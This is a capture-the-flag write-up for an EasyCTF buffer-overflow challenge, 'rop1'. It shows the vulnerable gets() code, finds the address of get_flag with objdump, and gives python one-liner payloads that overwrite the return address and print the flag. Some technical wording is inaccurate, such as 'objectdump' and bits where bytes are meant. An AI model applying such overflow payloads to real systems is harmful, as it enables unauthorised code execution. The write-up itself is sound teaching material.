By PGODULTIMATE
Go to /problems/rop1 on the shell server and tell me whats in flag.txt.
Well the first step to solving this problem is simply accessing the shell and cd to /problems/rop1
. If you ls -a
the directory then two files would immediately show up. They are Rop1 and Rop1.c. I am not linking to the other file because it isn't really necessary and I cannot find it. Anyway, looking at Rop1.c, I see that there is a:
void get_flag()
{
system("/bin/cat flag.txt");
}
That is just completely separate from the other segments of code so I know I can't get to it through normal means. This function prints out the flag as cat is an opening command and flag.txt is - you know - the flag. So I know that this is the part of the code I need to attack. What I do next is objdump the program so that I can find the address for the get_flag function.
$ objectdump -d rop1
This gives me a whole bunch of stuff, but all I need to look for is the get_flag() function. It would literally say get_flag next to the address of the function. So, my address is:
0x0000000000400646
What does this mean? Well it really is just telling me the location of the function in the program. With this, I can send a Buffer Overflow attack to it and it should print out the flag. This is a Buffer Overflow problem for a few reasons. First, if we look at the get_input()
function we see:
void get_input()
{
char inp[64];
gets(inp);
printf("You said: %s\n", inp);
}
Since it has a gets()
function, it doesn't check the length of the string entered. This means I can input more characters than the buffer can allow. Hence, I would be _Overflowing the Buffer _(shoutout to **@Ptomerty **for explaining this to me).
Now I just need to figure out what the buffer size is! I first just tried 64 characters (or 64 bytes) because thats the usual size for a buffer (on afterthought I realize that the char inp[64]
just defined the buffer as 64 characters so I was being stupid). The common format of the attack would be:
$ python -c "print('A' * <buffer overflow size> + '\xmemory\xaddress\xto\xexploit')" | ./<file>
It would directly pump in the letter **A **the number of times I want it to to reach the **buffer overflow size **as an answer to whatever input is wanted at that memory address. The address we found must be converted to Little Endian to be used as a memory address in this attack. **Little Endian **is really just the memory address found split in to segments of two bits and then reversed. In this case, The **Little Endian **of 0x0000000000400646
is simply \x46\x06\x40\x00\x00\x00\x00\x00
. Note that in most cases, the four \x00
at the end are not necessary but I kept it in because I like being extra sure (shoutout to **@z3 **for pointing out that it was 128 bits when it didn't need to be). In this first scenario it would look like this:
$ python -c "print('A' * 64 + '\x46\x06\x40\x00\x00\x00\x00\x00')" | ./rop1
This didn't print out my flag but I did get a Segmentation fault (core dumped)
meaning that I am on the right track. So, I just added eight bytes to it (64 bits or 8 characters).
$ python -c "print('A' * 72 + '\x46\x06\x40\x00\x00\x00\x00\x00')" | ./rop1
This prints out my flag:
easyctf{r0ps_and_h0ps}